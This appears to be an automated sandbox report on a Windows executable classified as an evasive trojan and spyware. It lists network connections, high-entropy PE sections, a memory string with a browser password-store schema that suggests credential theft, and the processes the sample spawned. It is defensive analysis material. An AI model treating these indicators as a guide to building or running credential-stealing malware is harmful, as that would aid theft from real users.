Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50027
Source: unknown	Network traffic detected: HTTP traffic on port 49780 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49879 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50026
Source: unknown	Network traffic detected: HTTP traffic on port 49985 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50000 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50021 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50030
Source: unknown	Network traffic detected: HTTP traffic on port 50067 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50039
Source: unknown	Network traffic detected: HTTP traffic on port 49995 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50011 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50032
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50031
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49857 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50034
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50033
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50036
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50035
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50038
Source: unknown	Network traffic detected: HTTP traffic on port 49764 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50037
Source: unknown	Network traffic detected: HTTP traffic on port 49719 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49801 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49940 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49824 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50041
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50040
Source: unknown	Network traffic detected: HTTP traffic on port 50066 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49973 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49891 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50033 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50043
Source: unknown	Network traffic detected: HTTP traffic on port 49835 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50042
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50045
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50044
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50047
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50046
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50049
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50048
Source: unknown	Network traffic detected: HTTP traffic on port 49880 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50050
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50052
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50051
Source: unknown	Network traffic detected: HTTP traffic on port 49775 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50044 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49846 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49792 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50042 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50007 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49781 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49878 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49958 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49717 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49866 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49820 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50018 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50077 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49728 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49763 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49855 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49981 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49752 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49924 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49706 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49819 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49844 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49729 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50076 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49793 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50031 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49751 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49992 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50043 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49774 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49782 -> 443

Source: unknown	HTTPS traffic detected: 104.21.16.9:443 -> 192.168.2.7:49705 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.7:49706 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.16.9:443 -> 192.168.2.7:49707 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.16.9:443 -> 192.168.2.7:49718 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.16.9:443 -> 192.168.2.7:49728 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.109.210.53:443 -> 192.168.2.7:49729 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.16.9:443 -> 192.168.2.7:49737 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.16.9:443 -> 192.168.2.7:49754 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.16.9:443 -> 192.168.2.7:49767 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.16.9:443 -> 192.168.2.7:49791 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.109.210.53:443 -> 192.168.2.7:49843 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 2.16.229.162:443 -> 192.168.2.7:49859 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 2.16.229.162:443 -> 192.168.2.7:49869 version: TLS 1.2

System Summary

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:

Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_009BBCCA	0_3_009BBCCA
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_009BBCCA	0_3_009BBCCA
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_009BBCCA	0_3_009BBCCA
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_009C3FCD	0_3_009C3FCD
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_009C3FCD	0_3_009C3FCD
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_009C3FCD	0_3_009C3FCD
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_009C401F	0_3_009C401F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_009C401F	0_3_009C401F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_009C401F	0_3_009C401F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_009B7B47	0_3_009B7B47
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_009BBCCA	0_3_009BBCCA
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_009BBCCA	0_3_009BBCCA
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_009BBCCA	0_3_009BBCCA
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_009C3FCD	0_3_009C3FCD
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_009C3FCD	0_3_009C3FCD
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_009C3FCD	0_3_009C3FCD
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_009C401F	0_3_009C401F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_009C401F	0_3_009C401F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_009C401F	0_3_009C401F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_009B7B47	0_3_009B7B47
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_009BBCCA	0_3_009BBCCA
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_009BBCCA	0_3_009BBCCA
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_009BBCCA	0_3_009BBCCA
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_009C3FCD	0_3_009C3FCD
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_009C3FCD	0_3_009C3FCD
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_009C3FCD	0_3_009C3FCD
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_009C401F	0_3_009C401F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_009C401F	0_3_009C401F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_009C401F	0_3_009C401F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_009B7B47	0_3_009B7B47
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_009BBCCA	0_3_009BBCCA
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_009BBCCA	0_3_009BBCCA
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_009BBCCA	0_3_009BBCCA
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_009B7B47	0_3_009B7B47

Source: file.exe, 00000000.00000003.1738632206.0000000005B34000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1750649430.0000000005B3A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1743186344.0000000005B32000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1750172117.0000000005C75000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1738872634.0000000005BD8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1747489575.0000000005C4B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1739672939.0000000005BE2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1737503032.0000000005B33000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1748618719.0000000005B36000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1749116933.0000000005DAB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1743420935.0000000005CFA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1741190427.0000000005B3A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1737246702.0000000005932000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1740863195.0000000005BFD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1747815034.0000000005B40000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1741113187.0000000005CBE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1743318335.0000000005C1A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1741936320.0000000005C0B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1741023180.0000000005BF3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1737838675.0000000005798000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1748297924.0000000005B33000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1744283692.0000000005C25000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1746421555.0000000005D61000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1739477533.0000000005B37000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1741562711.0000000005CB7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1739320235.0000000005B3C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1741639937.0000000005B40000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1784750576.000000000574E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1749353367.0000000005C78000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1738798800.0000000005B36000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1740782401.0000000005B41000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1749837665.0000000005C7F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1749238135.0000000005B3B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1741345069.0000000005CC9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1739890556.0000000005B33000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1748990676.0000000005C70000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1748741450.0000000005C70000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1742968811.0000000005B3B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1741780128.0000000005B32000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1747284606.0000000005B32000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1746084774.0000000005B3F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1744415368.0000000005D1B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1749965537.0000000005B38000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1739601124.0000000005B38000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1737305877.000000000579C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1744116578.0000000005B38000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1742870801.0000000005C1B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1749719837.0000000005B33000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1746923717.0000000005B34000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1748400169.0000000005C57000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000002.1854671182.00000000056C7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1739167397.0000000005BD2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1744944899.0000000005B3D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1750363172.0000000005DBA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1748192757.0000000005C5D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1738945028.0000000005B3A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1744020388.0000000005C2D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1743755283.0000000005C2F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1745770160.0000000005C3C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1738707877.0000000005793000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1746769455.0000000005C51000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1748870336.0000000005B38000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1742750942.0000000005B37000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1739086037.0000000005B3C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1747947181.0000000005C5D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1748505580.0000000005D86000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1741701280.0000000005C17000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1742482661.0000000005B3F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1740556605.0000000005BE4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1745571328.0000000005B33000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000002.1854671182.0000000005692000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1739238265.0000000005C81000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1737438541.000000000579A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1741269269.0000000005BFD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000002.1857281189.00000000060A6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1745209958.0000000005B3B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1739816992.0000000005BEB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1745357591.0000000005C33000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1744563499.0000000005B32000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1739017311.0000000005BD7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1744820890.0000000005D21000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1742615773.0000000005C1B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1746624897.0000000005B36000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1743081535.0000000005C19000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1745067877.0000000005C39000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1742034314.0000000005CEE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1739546532.0000000005BEF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1744698171.0000000005C23000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000002.1855427322.0000000005DEC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1739400499.0000000005BEE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1747669264.0000000005D6E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1739743553.0000000005B36000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1747143466.0000000005C4C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1749594337.0000000005C80000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1740942464.0000000005B3F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1741408361.0000000005B33000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1743885299.0000000005B40000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1737373804.0000000005B3D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1749475650.0000000005B35000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1745912779.0000000005D4C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1748086875.0000000005B3A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1741485051.0000000005BF2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1737770958.0000000005BCC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1746289940.0000000005C4B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1740643052.0000000005CA1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1743627042.0000000005B41000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe	Static PE information: Section: ZLIB complexity 0.9979634675266904
Source: file.exe	Static PE information: Section: atizwfdt ZLIB complexity 0.9947764455090263

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@24/61@7/7

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: file.exe, 00000000.00000003.1380220140.0000000005695000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1417776567.00000000056B7000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1378502894.00000000056C4000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: file.exe

ReversingLabs: Detection: 50%

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\user\Desktop\file.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2012 --field-trial-handle=1928,i,17091623068724478487,9148228369810472869,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
